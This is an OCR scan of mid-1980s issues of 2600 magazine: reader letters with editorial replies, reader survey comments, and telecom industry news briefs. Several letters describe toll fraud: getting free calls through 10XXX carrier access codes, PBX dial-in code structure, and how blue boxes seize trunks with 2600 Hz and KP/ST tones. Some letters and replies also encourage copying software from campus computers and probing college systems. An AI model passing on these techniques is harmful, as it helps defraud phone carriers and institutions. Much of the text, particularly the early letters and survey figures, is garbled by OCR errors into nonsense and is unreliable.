Why not protest hulletin board dishs by using 2 imodified RS than
stores a file by NORing it against o long pseudo-random numbser
generated from a seed” The tile can be read by XORing i agunst the
output of the psuedo-random number generator. {Just use the same
seed. ) It seems that the disk would be coprable and quite
undecipherable,

L.1.
Dear L:

Keep it up, vote have the idea, Masbe sorme of oaee readees can conie
vy with similar fdeas o care work on g specitic svsiem,
Dear 2600:

The Long Distance Vovager, a phreaker. and mysell. a computer
hacker. have thoreughly enpoved vour veny imtonuative magane for
the past vear and one half. We would like 1o share with our fellow
phreakers and hackers 2 "Font Knox™ of computer and telephone
information which is usually leit untouched.

On the college campuses Across AMETica. Campus COMPUILE CEAlers
areactually a hacker'’s paradise. With veny mumimal secunty protecting
admamistration programs placed upon hard disk svstemns like the IBM
AT which is used inmany schools located near the headquarers of Big
Blue. a hacker can obtain many valuable programs by just copying off
of the unprotected hard disk. Many facuty title their programs with
their own names. ie. TRSATIN could mean The Knight in White
Satin, and these can be easily broken into becauwse the administration is
too busy worried about hackers tampering with grades. ere_and they
leave unprotected valuable programs like LOTUS 123 upon a hard
disk. {Most bureaucrais are stupid and lazy. otherwise they would be
doing more worthy tasks than being paper pushers.)

And. just as imponant. The Long Distance Vovager has informed
me that with the breakup of AT&T. many campuses are in transilion
phases, because they are either changing their present long distance
system or modemizing their previous system,

We might also add that campuses are excelient places 10 hook into
the ARPANet, which can allow access to computers all over the world.
some of a military nature. Unhike corporations. army bases. and such,
college campuses dont mind when people ask questions. A great deal
can be learned here.

Keep upthe good work. Both of us would like Mo devote anissue
dealing with the setup of a bulletin board. We plan to starn one and call
it Voices in the Skyv.

The Long Distance Voyager
The Knight in White Satin
Dear Yoyager and Knight:

Thanks for the information.

We have been thinking abour suggesimg guidelings for setling up
BRS. And we devored our August isswe 1o the subject of B85y and
BBS raids. If vou can think of same good guidelires. then send them o
us. Remember thal there are many different 1vpes of computers o
there, and there is a lor of different BBS software with different
capabilires. Perhaps profiles of BBS programs and their seciriiy are
also in order.

Ahour college vampuses— vou should kaow thar they are guod
places 1o meet the very computers that vou wish re hreak e,
Sometimes vou can ask one of the svstes managers for a Tour of the
campus compuiing facilivies. 1t is even helpful. depesding upon the
attitude of the potential tour guide. 1o tell them that v ow are a pari-rine
Rucker {the truth).

You should also note that in those very PO vou ntentioned, vou can
finnd something even better than Lotus 123—the laresr vopy progranm.
Mam of the latest copy programs are written by college folk and then
quickiy placed in their compuiers

Another resource on campuses are compuier user groups or clubs,
iien these groups are given accounis on the college computer,
régardfpu af what repe of they may be. This is because the clubs are
often hosted bv lonely svstem managers or professors who are looking
[for new blood.

The colleges are o greal place 10 look around, hecause unlike an
office building, the people ar the volfeges are ideally not there to make
money: that comes later.

Dear 2600:

Here's one for the 2600 reading histand it's readily asailable — Radio
Shack’s fnstalling Your Own Telephones. Prentice-Hall, 1983,

In these post-divestiture days. the telcos are making a killing at our
expense with installations. Don't let them do it! How™! With this boak,

It's o protusels alluseested gunde tor installisg phones and accessones o
addimg extensioms on vour side ol the protector weroningl Most
evervibing vou coubd want to kiow for g a0 bne and gack e
somr bedrovn, And vou don’t hoee 1o be techmally moded 1o b
advantage, b eovers ohd and new sustens sl troublesheotie. Wide
wortn're havmg fon, voi Thadd tovous koos bedge of o the phonge sets
work and heep baby bell from reachiog down e sour pochet. (e
seen e price range from 5795 10 89495

Person
Uear Person:

W peelize Hlaas EIis Soen of ST scsmis st o mesd e, s e of
flet st owadvs fer et for Rodend Vened pftosde o B koo o agnart el
preerinng 51 Peck roweier,

Dear 2od:

A great source of material for the = 2w readmg bist ™ can be gotien
fromthe AT& I Customer Infomustion Cemer. Y o can reach them at
ATE T Custommer Information Center. PO Bos TR0 Indsiapaolis,
Indiana, 46319 ar ot YTIEIRSS6 or SOOI26600, operator 101 Then
CIC Commercial Sales Docamentatmn Caralog Tsts wveral ven
imeresting tithes tor the relecommunications obbu st Essond de-Ha
manuals. PBX and Cemrex manuals, imcluding the “Fhmensmon
Svstem PBX Station Message Detanl Revording Intornmiation.” (94949-
200-2100 the method by which companies detect frasd (st PEN S
wsually have 3 eodes, one wisally 4 digns + 123 or 1212 or the like toe
el in, one Tor accounting porposes (o determmine what depariment 1o
charge it tod 3 digies) and one o dial oot usaally Y. Phresks only need
the st and the last 1o make calls, but the Message Detail Revording
nutices that no department was charged. Ercor Mags are dropped and
the code then changes.) Voice store and Toward manuals are also
available. There are a whole series of Quorum eleconierencing
manuals available (the name for the actusl bridging switch that
Alliance Teleconlerencing uses. see 2600, Mav 19550 TSPS manuals.
and two especially interesting ones. "Requirements tor Compatability
of Telecommunications Equipment with Bell Sun edlance and Contral
Saatems™ (Pub 49001) and “General Remote Sunedlance Philosops
and Critersa for Interoffice Transmission Equipment™ (Pub 39002).
Qther manuals of interest are “Techmcal Specificanions and et up
Control Procedures tor the Network Audiographics Bridging
Capability"{Allance Teleconferencing! ). "Common Channel
Signaling™ 1CC1S, the death of hlue boxing) and ™ Test Llnes General
Specifications.” | have not even begun on the multitude ol interesting
publications.

Also. the book Three Deerees Ahove Zero by Jern Bernstem sven
good. Itisabout researchat Bell Labs sites, plus there s a long chapter
on CLASS (Customer Local Access Service Svstem. the thing beta
tested in Pennsyivania which generates all the rumors about auto
traces & number refusals.)

Another source 1oo good 10 puss up s Telecom Dhigest. Forall vou
hackers phreaks just entering or now i college, check if vour local
college mainframe isconnected 1o the ARPA or BITNET. Check il the
loca] BBoard (a common [eature on university mainframes) alreads
gety it there. 11 so, just read i I oot send F-manl o Telecom-
Request@MIT-MC_ARPA and ask Jsol (the moderator) to add vouto
the mathng list. Remember. this s not a phreah. newsgroup., read o
couple tssues to get a feel of how it leans. For those of vou on the
LSENET look into et News for fa Telecom (imum AR PA=fa).

Lord Phreaker
Dear Readers:

We are constantly getting calls amd leriees feom people whe are
cortcerned whopr the Provate Secror BBY. The mechae i arill beinmg
hefed captive in the VWiddiewe s Countr, Sew derwr. prosecitor s
wlfive—evidentl avwaitinme the focal elecom or preelps awaning vane
fesrrnn e pstece bes areive.

As e what o exactlc happeamg, we ave fidle ses o repoer e
Py e the migehine; arill, mo comprane oy pressed charies o g any
vurnplaint: no precise crimes were said o e beea committed; they
dre il Ttk g aheagt CORVHFECY [ oler \rurrwhm_q tee e fy
searmieedi

The seafl ar I600 iy sick eof it We wand fer see sovie gt o §1 i
fuarper fisr masnisvense hl:r hiy ter Aoafy Lare eidfesrcennem uHru'r.t.rh LT
remember that they cannol break e fuw aried staepy over people
righry inn an effort o enferce o law . There are tov many B85S being
faken dvwn with fews few guestiens being asked. Avk e grestinm.

2600

QQQa c,uoe(:l
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LETTERS, Box 99, Middle Island, NY 11953-0099

Deear 2600:

On a trip in Ohio, [ was phreaking with the phone and no
codes worked. Then my girlfriend's daughter asked me what [
was doing. I tried to explain phreaking to her (she's 12). She
said “watch this.” She dialed her home phone number, let it ring
three times and hung up. It rang(ringback). So later I tried itin
a pay phone. Nothing. 958—nothing. 31 l—nothing. Anyway,
this is a small phone company in Germantown, Indiana. But
this technique might work elsewhere, why not?

HAL-9000/Beast 666
Deear 2600:

Proper use of the Carrier Identification Codes (November
1984) can lead 1o free calls. 1f your area supports equal access
merely dial 1OXXX (XXX=carrier access code) + | + NPA +
Phone#f (or even a # in your NPA). What happens is that the
alternate carrier doesn’t have the proper billing address for you.
Y ou tell your local switch to charge it to you via the alternate
service, but the alternate service doesn't know where to send the
bill. Don't expect this method to last. Most carriers have wised
up and prevent dialing via them unless you sign up. However,
GTE Sprint (XXX=777) still allows this for mos1 areas of the
country. It is rumored that dialing the CIC from a pay phone
results in a free call as well.

Lord Phreaker
Deear 2600:

I have recently become a ‘long distance’ subscriber to 2600
and find 1t very interesting—well done.

The reason 1 joined was to find out more about the U.S.
telephone system—I am fairly familiar with our local
equipment, naturally.

My particular interest is trading and making recordings of
the various tones (ringing tone, dial tone, busy tone, etc.) from
all over the world—! have several tapes full. 1 have noticed a
fair bit of variety among the ringing tones encountered on calls
to the States, and | imagine the trained ear can recognize from
the ringing which type of switch he is connected to.

Normally, USA ringing tone is a single beat, repeated every
few seconds—occasionally, however, it is a double beat then
silence, etc. This is much more similar to the British double beat
ringing, and 1 wondered exactly what sort of switch produces
this. Some people have told me the very latest electronic
switches, but this cannot be, as | have heard it for 15 years or
more.

By the way, the picce on Israeli phones (June 1985) was a bt
off beam. Dialing there—and all over Europe—is standard
loop disconnect. In Britain at any rate, off-hook line voltage is
ofien 7 or 8 volts, not as low as 3.5 as sugpested in that article

a.e. in Britain
Dear 2600:
Is it true that blue boxing is on the way out? | hear il has

something todo with CCIS, What exactly is thisand why is it so
troublesome to phreaks?

Worried Phreak
Dear Worried:

Blue boxes are indeed a dwindling resource. But there’s no
need to throw them out yei. They aren’l going 1o be rorally
useless for quite some time.

Basically, AT&T is converting gradually to CCIS trunks.
These don't allow boxing.

In-band signaling is the only kind of trunk signaling that.
supporis boxing. It is by far the most prevalent at the moment.
Basically, in-band uses a 2600 heriz tone to indicate that a trunk
is idle, and thus can accept routing instructions from an
“outsider”.

To box a call, the criminal blasts 2600 down the line afier
making a long disiance call. The line thinks it'’s idle and waits
for routing instructions. Now the criminal pursa KP tone and a
ST 1one around the number that he’s trying to get through to.
These comprise the routing instructions. Thus, the line thinks
it’s idle, then it receives the rowiing instructions, and routes the
call to wherever the person seni it. Now, his eentral office (CO),
which does all billing still thinks he is making the call 1o
wherever, 5o it keeps on billing him at that rate. If it happens to
think he was making a toll-free call, it won't bill him art all!

Another form of signaling is our of band. This uses control
tones out of the normal band of telephone transmission
(approximately 800 hertz 1o 3000 heriz). The idle rone is 3200,
others shifted upward as well. So why couldn t you just makea
new box? Don't forget, it’s out of band. These iones aren in
normal transmission, so the local CO and customer interface
loop just don't bother o transmit them. You can blast all the
3200 you wani—ii won't go through the CO 1o the trunk. But
this is nof the “death of boxing " as it has several disadvaniages
io the telco too numerous fo mention. :

The real death of boxing lies in Cornmon Channel Interoffice
Signaling (CCIS). This is a direct connect data line going from
one ESS switcher to another at speeds up to 4.8 kB (usually
1.2)—incredible speeds. All routing instructions are sent
through these lines. It isnt looking for control tones on the
trunk; it s getting them elsewhere. This means that you can blast
2600 hertz tones all vou like. It won't make a difference because
the equipment is no longer listening for them. This kind of
signaling is being phased in all over the country. Look for one in
vour neighborhood.

Sirnice CCIS has benefits for really high volume trunks, vou
can try looking for long distance trunks 1o Canada, or rural
states. These probably won't be phased in for a long time, if at
all. (Remember, very few companies just invest in new
technology for new tech’s sake; even AT& Twon 't be able to do
this for lfong).

In the October 19 issue of The New York Times, n was
reported that at least 23 teenage computer users had broken
into a Chase Manhattan Bank computer installation by
telephone in July and August and “significantly damaged™
bank records, according to the FBI.

In The Wall Street Journal on October 21, Michael
Urkowitz, executive vice president for operations and systems,
said that in public statements and documents the FBI had
characterized the invasion of the system as more serious than it
was in order to oblain search warrants of the youths® homes.

“We know absolutely that they didnt damage or manipulate
data,” he said, although they did change some passwords. *It

wasn't an event that caught us unaware. Everything worked the
way it was supposed 10.... We got caught between the FBI's
need to make this sound alarming and the facis as they are.™

He said that the youngsters broke through only the first level
of security, which didn't give them access either to the names of
customers or their balances.

But, according to The Times, interviews with Federal
investigators “drew a picture of officials of the nation’s third-
largest bank bewildered and a bit frightened by a series of
seemingly inexplicable events in one of their key computer
systems.”™

Who do you belicve?
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The survey results are in and here they are: 42.41 of the cards were returned. An
average of 2,20735 people per subscriber are reported to read 2600, BS5.51 say they

SURVEY
RESULTS

Dear Readers: We are quite willing to admit that most of the responses to our
reader survey were complimeniary. Many of you provided us with useful
criticism. We hope you do not find any more problers with the punching of the
holes. We have taken new steps to eruure that the holes meet industry standards.
Since we gol so many positive resporses, we were forced (o print a larger
propertion of the i Then again, quite a few of the negative
resporises read like this: "] am nor satisfled because you are not weekly " or "not
10 pages. " eic. Well, at leass this month we are 10 pages.

New York, NY—Exclusive information. Keep it up. My least favorite pant is
that there are no dates on news items, nor datelines,

Raleigh, NC—Too much “flufl™ news. Too much telephone blue boxing info, |
think you perform a “public service™ by exposing ways 1o hack into computer
systems. The companies will not give users this information. A magazine like
2600 may “wake up” some readers and computer users. Much of your technical
information is not accurate. For instance, the 10/B5 artickc on YMS did not
mention version 4.0 security features which radically ahered YMS and made
your article obsolete, Also there is no such privilege in VMS as “system
manager™,

Kilmer Facility, NJ=It's the perfect complement to Private Sector BBS (when
it's online, that is) {even better when it's offline *sigh®).

Salinas, CA—Taking up valuable room with stupid 2600 *Flash™ news bricfs,
same for “Systematically Speaking™. These articles are of amusing interest only
nothing that great, Like to sex a beginners' series such as the basic terms
definitions and a tutorial on how to get started hacking and phreaking.
Philadelphia, PA— Kccp your scope broad and always include news items and
commentary; all of those who read my copy are inlerested in maintaining
security and laughing at phone companies.

Charlestion, SC=Would like to see special pricing on all back issues as a
package. What happened to TAP? And why a different P.O. box for this cand?
As of this month, back issues will be available ai a special rate of 520 per volume
{ali of 1984 or 1985). :

TAP is gone. We have not seen a new copy for well over a year. We have heard
various rumours about TAFP. Incidenially fand for the benefit of those who
haven't heard ws say this @ dozen times before), we are not TAFP.

Finally, the differens P. O, box was used 1o receive the survey cards, so we would
nol clog the other box up. We even have other boxes for other purposes, but we
dont warnt to bore vou with the details.

Phoenix, AZ—1 like your rag a lot.

Smithtown, NY —1 think it's a great magazine, Please try to give out numbers of
really good BBS's, Also include more schematics.

Westchester, NY—=Try to avoid trouble! 1 value your info very much! Why
should one person be dumb to the ways of the world!

Western Nassan GMF, NY —How about some phreak basix? A small column on
this from month 1o month would be pretty cool. | know some hackers; no real
phreaks, When wacko Jersey DAs are talking about *moving satellites” and the
“strail press™ is talking about tank pans or launching nukes, it's good 10 know
there are still more places like 2600 to go to to find out the truth.

Fort Smith, AR—Favonic: contributions by hackers & phreakers, Least: fillers.
Keep up the excellent work.

Kansas City, MO—I would like to see more technical articles on the phone
system and how about explosives? You showed some real guts publishing the
blue box plans and although it is much more difficult how do they work. Publish
the results of this survey. Publish financial report on 2600,

We do not like explosives. There is a plethora of magazines that rell about them
or look in the Anarchist's Cookbook or you could wse gatoline and a mateh or
perhaps an axe.

Washington, DC—Any information on phones is valuable and hard 1o get but
you never provide background, explanations, or words for acronyms. Define
terms, give references. Your recent letter about ripping off universities was
extremely offensive. Stop filling space with AT&T ads.

San Francisco, CA=—Fut in more How To phone info—actual teboo codes. Also
how 10 use Blue, Black, Green, etc. baxes—that is why | subscribed—to get such
information.

Honolube, HI—Far away most valuable information available for mere penmies.
Dienver, CO—Fl covering htelco electronics a8 you can get
a hold on. Also very much appreciated are the suggested reading materials—
more suggestions would be highly valued. Also would like Tists of other such
publications running along the same lines as 260¢). Finally any such info on
international systems. such as UK., laly, Australia, or Japan would be
invaluable. The more of the above | see the more [ will be motivated 10
contribute.

US. Postal Serviee, MI—Would like 10 sec more first person accounts and
interviews.

So would we.

Staten lsland, NY—How about a 2600 BBS Newwork? (one step closer 1o
Exxon's size...) Where's the 2600 phoncbook? Topics: BBS' that cater 1o
hackers, phreaks, Arpanet in detail, do all Biocs tutorials in series, trashing
spots (have readers send these in).

Pittsburgh, PA—I have been known 1o do some risky things, but not anymaore.
would like to sec more info on risk frec pastimes, especially 300 numbers. Maybe
a section o post BBS numbers.

Please send us lists of BBS mumbers or a brief review of your favorite BBS.
Western Nassau GMF, NY=0Good luck fighting the system. Keep up your
exposes of the communication companics.

Smithtown, N¥—Like the short clips and letters; dislike the long. technical
articles geared toward small elite of specialists, Topics: hacking laws: where are
the limits?

Birmingham, A L—Too much space devoted 10 news clippings—but keep them,
just reduce print size.
No Postmark—Since it seems that TAP has gone the way of the dinosaurs,
perhaps you could fill in some of the areas of subject matter that they covered.
Perhaps occasional interviews with phreakers; hackers sysops or a short review
of a good BBS. Perhaps something with the 414 wizard about being busted or
Bootlegger.

Denver, CO—Too much space is devoted to computers. The price has
inereased —1 guess that's an improvement for you. | probably won renew.
The price only increased from 510 to 312 per year back on March I'si. Back issue
pricesdid increase, but this showld mot affect your remewal. Are you fust trying to
depress ws?

Houston, TX—Fills a void in the pheeaking world.

No Postmark—Least faverite part is the anicles on operating systems: Most:
crime and intrigue!

are satistied.
allowed): 53,31 -

55,
isprove, Finally,

9.01 say th]cr :;lﬁnl.hﬂzgsuna{g‘i ﬂ;dihq ilnr: }Izun one ritmice was
sona 71 = hol +0% - business, &, 1% - securi

9.01 - industry, 25.00 - p 3}, i 12,0000 the

resgnndent; considered themselves a Ehrnker:

T, neither a Ehreihr nor a hac

phreaker, 28, acker, 0,01 - other, 12,21 of
12,71, "a hacker; 12.11, both; and

er. 44,31 said we improved, B.0% sald we did not

0,41 said that they would contribute to 2400 1n sose way.

.

No P rik—Include more . explanatory material. 1 hope you can
keep 2600 going, 115 got a lot of interesting stufl, and it's nicely produced.
New Orieams, LA—At least you're trying. Please tell me how the Dutch TV
pirates built their wireless TV transmitters for $20(as stated in an issue this year).
It is vital 1o free speech in the US that we build one and use it. 1 love your mag,
but you should do follow-ups on earlier stories.

We do not know any more about these piraies. Readers? Perhaps you can
arwer this one?

Van Nuys, CA—Not satisfied, It's not TAP. Topics: anything dastardly, home
built H-bombs, ctc.

Prince Georges, MD—Sometimes writing is childish. Less sensationalism, Too
much “we, they.” Challenge readers more.,

Sah Lake City, UT—Favorite part is the tech articles. Least Favorite part is
system trashing examples. How about a separate page of classified ads from
readers wanting to buy; sell modems, tech. manuals, ctc.

No Mark—MNeed better balance for new readers who are not sure what is going

on.
Battimore, MD—Usually good information: Jeast favorite part is the lack of
maturity (unsigned articles, etc.) Improve: have all articles signed: be
responsible.

Unforiunately, in this world, where dara is stored here and there, where
daiabases are crossmialched, where the goverrment opens a “file” on the
suspiciows, where the FBI delights in punishing youths by sending them to bed
without their computer, our writers have an wnderstandable right 1o withhold
information like this. 2600 is primarily in the business of providing informarion.
A byline is not nearly as important 1o anyone as the arvicle fself

San Jeut off postmark}—11's difficult for some of us who are not already
familiar with, say, a computer system to get much out of an article which delves
directly and deeply on a panicular subject. For instance, there was a recent
article on some DEC system, starting off with how you get into it and what you
can do. It would have been of benefit to the uninitiated 10 have an apening
paragraph describing uses and users of such a system, and how the information
in the article can be of any use to the hacker or casual experimenter. In general,
though a good publication: | look forward to each issue. Hope you pet your BBS
back up; 1'd like to access it if T could figure out how.

Raleigh, NC—Could have more technical content, betier articles concerning
theory of operation, and new updated systems iz, ESS, DMS, ete.

Rolla, MO=Interesting articles, knowledgeable, not over awed by technology
{as arc regular news people},

Thar's what we re all about.

Oakimnd, CA—Would like more technical articles.

Samewhere in Cansds— A lthough very satisfisd would like 10 see more on strwcture of
networks and personal tales. Info burcau: sometimes weak explanations, other times
irrelevani filler.

Oriando, FL=Lzad anicle usually good. Flash is so 50,

Omaba, NE—Favorite part is the cover articles. Least favorile part is xerox of
advertissments.

Baton Rougs, LA—1 like all of it!

Los Angeles, CA—High tech and informative. A rare broed of jourmalism soon 10
become extingt.

Why extinct? As time passes by, the sigf of 2600 will undoubtedly breed more
Jjournalists. Also as time passes, fechnology developmenis will open new fromtiers. In
the 60's there was only the world of telephony. Now there’s a crazy relephone world as
well as a computer world Who knows whai the future brirgs.

(Uegible)—Least favorite part is “Dear 26007, Mest favorite part is info on phone

{Ct offy=An this Jow cost aricks are excelient. Most favorite pan is information
burcau. Least favorite: 2600 Flash,

I we lowered the price would vou like the content of articles betier? . ;
Sacramento, CA—Not enough information on “how 10,7 1 like the mail section,
dislike some of the news articks (the ones that are just trivia; no info)

Owaaha, NE—Have enjoyed reading the publication if for only a short time. Have
found it very informative. Hopeuu;ni:hsmdmdwo_&minue.m is one of the
few ways the real information can reach interested partics,

San Jose, CA—Excelient attempts al accuracy.

Attermpis?..

Oakland, CA—Favoritc part is news clips, least favoriie pan is biased reporting.
Marins Del Rey, CA—1 thought the mag would talk more about computers rather
than tekephones.

Kansss Cicy, MO—It's good “scare™ material for sysiem security professionals.
Roancke, VA—Good from the san. Glad [you] dont do drug anicles like TAP
(waste of space}—improve by covering more diverse technologics. Put cut call for

P . .
Salt Lake City, UT—Prefer more computer hacking info, kss phone phreak info.
More mainframe access numbers and passwonds,

We never publith uniess they are non-functional or default patswords,
Northern ¥ inghnbs, ¥ A—for the price its not bad but for myself 1'm more into just
phones instead of hacking.

Denver, CO—Would like 10 soc some working red and bhae box plans printed, maore of
them. Like to se¢ military manuscripts of any type on weapans, communications, and
computer banks. :

Hicksville, NY —Y our asticles have gone down, whik nows bits of other bits have gomne
up. The artickes are much more interesting.

Chieago, IL—Can improve: yes, make it bigger.

Trentos, NJ—Still too technical.

Lancaster, CA =1 would like 10 s6¢ more i i phreaking, both technig
and hardware. | read 2600 for the shear ecstasy of knowing what makes “the system”
work.

And there you have it. Some of you do nor Mke our Newsflash cobumn, then again
abouit the same amouri of pou think if is the best part of 2600. Some of you say it it too
technical, and ther some say if is not technical enough. Some of you say that there i
oo much compuier is, i some say that there is foo much discussion of
relephony. At least we know that many of you wart 1o see some articles covering ihe
barics of phreak ing and hacking. ing which we will devote move space 10 in
1985. Many of you also like the letrers section, which, unfortunately. has been replaced
oo pics government documents. them someone has 1o send us
I/ wani Ly fo prind secret r nts. 1
ir,r:gnmmp::vmu. If you ltke the ketters cokamn, ther write informative
lerters io us. The same goes for feanres and ariicles and siovies and data. We have
many good writers. Bul we wart more.

Happy New Year. = .



SYSTERIATICALLY SPERRKING

In May, the magazine added two more pages and in June, a new feature was
introduced. “Systematically Speaking” was rather similar to “2600 Flash” but
was meant to be devoted exclusively to “news on advancing technology” and
not so much the anecdotes one might find in “2600 Flash.” This new feature
appeared in every subsequent month except for August.
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Say Goodbye to Meter Readers
Associaiod Pros

The New York Telephone Company has asked the State
Public Service Commission to approve a plan to read utility
meters by telephone, a service that could make the door-to-
door meter reader a figure of the past.

A statement issued by the company said regular telephone
service would be unaffected by the meter-reading service. The
service would make readings only on telephone lines that were
not in use, and would automatically disconnect if a call came in
during a reading. Each reading would take about two seconds,
a New York Telephone spokesperson said, and would probably
take place at night.

Bob Loftus, a spokesman for Brooklyn Union Gas
Company, said, “We'd be able to reduce operating costs, we
think. And. of course, our customers would have convenience,
since they would not need to be at home. And it would eliminate
estimated billing.”

Officials for the union representing Brooklyn Union Gas
meter readers could not be reached for comment.

Thai Phone Books a Hot Issue
Wall Spreet Jonirnal

An AT&T unit filed a $95.6 million lawsuit against a GTE
unit, escalating a battle over the right to publish Thailand’s
telephone directories.

The suit, filed by AT&T International Inc. in Bangkok,
Thailand, alleges that actions by GTE Directories Corp. and
other defendants have caused “severe damage to the
reputation” of AT&T International in Thailand and other
countries.

In February, AT&T International won fierce bidding for the
right to publish Thailand’s directories for the next five years.
The loser was GTE Directories Corp., whose Thai unit had
published Thailand’s phone books for the past 17 years.

In March, GTE Directories filed a $31.4 million suit against
AT&T International, alleging it had committed “wrongful
acts™ in connection with the bidding.

New Tracking Device For Cars
The Pecw Yok Dimes

Seven years ago, William R. Reagan wrote out an invention
disclosure, the first step toward a patent. With all the police
cruisers and communications networks and computers in this
country, he thought, there should be some way to equip an
automobile with a transmitting device that the police could
home in on should the car be stolen.

Today, Mr. Reagan is responsible for just such a device. A
police cruiser equipped with a tracking unit can pick up the
signal two or three miles away, lock in on it, and track it
through woods, {ields, subdivisions, or city streets, right to the
car. In 550 tests in the last four months, the Massachusetts State
Police have found the hidden car every time.

By an agreement reached with the state, Mr. Reagan has
installed about $300,000 worth of equipment that will remain in
state police cruisers and facilities.

When a car is reported stolen, the police entry in the crime
computer automatically causes a special signal to be broadcast
from police radio towers across the state. When the signal
reaches the transmitting device in the stolen car, the device
begins to emit its own silent pulse, which can be picked up by
police cruisers with tracking units. The signal flashes the car’s
code name on the cruiser’s console. The officer in the cruiser
gives that name to the police dispatcher, who uses it to get the
stolen car’s description from the crime computer. He gives that
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description to the officer in the cruiser, and so, as the cruiser
homes in on the signal, the officer knows what car to look for.

Massachusetts governor Michael D. Dukakis commented,
“{My ultimate goal is] eleven million cars a year coming out of
Detroit equipped with this.”

Problems for New Pay Phones
Fortane

Since the FCC approved the sale of pay phones in the
summer of 1984, new competitors have sold or installed more
than 10,000 privately owned coin-operated phones. Many in
the industry expect upwards of one million to be in use by 1990,
replacing at least some of the 1.8 million phone company
quarter-eaters currently in operation.

A technological hurdle is still to be cleared, though. Until
recently none of the so-called smart pay phones have been able
to determine when a call is answered, and thus when to gobble
the coins. To collect the money, the phones typically require
users to push a button ence the connection is made before they
can be heard by the other party. Many people get confused and
lose their money. “Violently smashed phones are a major
problem, ”says William Moorehead, a specialist on the industry
for the Partridge Group consulting firm in Washington, D.C.

TINA Message Service

Radio Electronss

A new communications service, which is expected to make it
possible for small businesses to send and receive international
messages for a small fraction of the cost of Telex or similar
services, has been initiated by Service Systems Technology
(SST) of Marina del Rey, CA and Milan, ltaly.

Known as TINA International Message Service, the new
system has one limitation as compared with Telex or similar
services: Communication is between subscribers in U.5. or
foreign “gateway cities,” or more specifically, from the
computer of a subscriber to the computer at his other
“glectronic mailbox.™

A subscriber dials a local number to get on an international
network, then sends his message through a modem attached 1o
his telephone. The network is that of INFONET, which has
offices worldwide.

Cost of the service, which includes two “electronic
mailboxes” and two hours of computer time is $99.60 per
month. That charge, says SST, gives subscribers the amount of
service that would cost about $2200 by conventional services.
Extra computer connect time is obtainable at $58.60 per hour.
Extra electronic mailboxes and user [D'%s are $10 per month.

AT&T Contractual Obligations

Combined News Soane

AT&T is making its employees sign a new contract which
prohibits the disclosure of proprietary information outside the
company. Inaddition, the contract covers inventions made asa
result of employment, as well as inventions in “all arcas in
which AT&T does business or in which the company might be
reasonably involved in the future.” It is forcing this
“agreement™ not only to new employees but to ils present

employees.

“Call Me” Card
Cormbined News Sources

AT&T will soon introduce a credit card that can only be used
for calling home. The card should eliminate any chance of
telephone fraud on credit card numbers. In addition, it is
expected to reduce phone bills by removing incentive to call

a new part of 2600 for news on advancing technology anyplace else.
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MCI Expanding With Optical Fibers

Wall Steeet Josarmal

MCI Communications plans to spend about 5400 million to
expand its U.5. telecommunications network by adding optical
fiber routes in the Midwest and elsewhere. [Optical fibers are
thin, flexible fibers of glass or plastic that transmit voices,
television programs, and data in digital form, with on/ off laser
pulses representing zeros and ones. This gives greater fidelity to
the signals with less distortion from electrical interference.
Moreover. because the laser beams are so narrow, the plass
fibers can carry more information than do copper wires. An
optic fiber cable less than an inch thick, for instance, can carry
40,000 phone calls simultancously—a job that would require
several copper-wire cables, each 4 to 6 inches thick. The diode
lasers found in optic fiber systems are tiny crystals, some no
larger than a grain of salt, that emit a beam of light when
electrically stimulated. They consist of such materials as
indium, gallium, arsenic, and phosphorous, mixed in specific
proportions. Currently, MCI operates an optical fiber system
between New York and Washington.]

The company has obtained rights to 7,300 miles of railroad
right-of-way. Along with other improvements, the project will
increase the long-distance telephone company’s transmission
capacity 809 by year’s end.

The First 100% ESS State

The Huachensack Rocord

By 1988, New Jersey will be the first state in the country to
convert all of its 250 central offices to Electronic Switching
Systems. As a result, all kinds of new services will be popping
up [such as instant detection of all phone phreaks!]. One such
service will allow users to learn who is calling them before they
pick up the phone and to program the phone to assign
distinguishable rings to certain callers.

In addition, the company plans to introduce REACT, a
burglar ajarm system connected to the telephone. It informs the
phone company if an alarm is triggered or a phone wire is cut.
The phone company, in turn, will contact the burglar alarm
company. [Presumably, somebody will wind up calling the
cops....]

E-COM Really On The Way Out

Wall S3met Jouseal

The Postal Service intends to fold its money-losing electronic
mail service if it doesn't find a private buyer for it by the end of
the summer.

Postal officials have been searching since last summer for a
buyer for E-COM. The service is used by about 900 ()
customers to transfer messages electronically to post offices for
delivery via regular mail, usually within two days.

AT&T Put On Hold
LSA Taday

The FCC delayed until October | a decision on an AT&T
plan to offer 15 discounts on long-distance bills in return fora
monthly $25 fee. AT&T had wanted the plan, aimed at small
businesses, to begin on May 1.

GTE Now Bigger Than AT&T

New Yark Past

GTE Corporation has become the nation’s largest utilityasa
result of the breakup of the American Telephone and Telegraph
Company, according to Fortune Magazine. GTE had been a
perennial second to giant AT&T.

Pentagon Steals Cray From AT&T

Mew York Dusly Sews

Last January, AT&T's Bell Laboratories developed a |-
million-bit computer chip—four times mare powerful than the
most advanced Japanese or American chip. But the race goes
on. To proceed to the next level of chip development, Bell
wanted a Cray X-MP supercomputer, made by Cray Research
of Minneapolis.

Bell placed its order with Cray and delivery was scheduled for
August—until the Pentagon stepped in. General Dynamics
Corp. also needed a Cray X-MP to do research on the F-16 jet
fighter. Cray told General Dynamics to wait its turn. General
Dwynamics appealed to the Pentagon and, under a 35-year-o ld.
Korean War-era law, got priority over Bell on the grounds of
national secunty.

Bell’s microchip research will be delayed up to four months—
a critical amount of time in the technological race against
Japan. To Dr, William O. Baker, retired chairman of the board
of Bell Laboratories and a member of the President’s
Intelligence Advisory Board, the issue is indeed critical.

“We would feel that the design of a four-megabit chip (the
obvious next generation of chip) is as vital as any matter that -
confronts the country at the moment.... The Pentagon's
allocation of resources to the military is very unskilled and very
naive.”

NSA Chooses AT&T Computer

The Mew Yark Tunes

The National Security Agency has chosen the American
Telephone and Telegraph Company to supply it with up to 3546
million in minicomputers and services for a new, classified
project.

The contract appeared to be one of the largest for the
purchase of sophisticated computer systems by the intelligence
community. Officials of the NSA, the largest and most secretive
intelligence agency in the United States, did not say how the
computers would be used. But industry sources and intelligence
analysts suggested that the NSA would deploy the machines at
its headquarters in Fort George Meade, MD, and in field
offices around the world and would use them to help encode
and decode data flowing through the Government’s
communication networks. A spokesman for the NSA said the
machines were for a “new purpose” and would involve “many
units, spread out over a number of places.” Sources indicate
that the contract calls for up to 250 of AT&T"s most advanced
3B line of super-minicomputers.

IBM Gets Bigger/ Goodbye SBS

26000 Mews Servee

IBM has announced that it will acquire a major stake of
MCI, the nation’s second largest long distance telephone
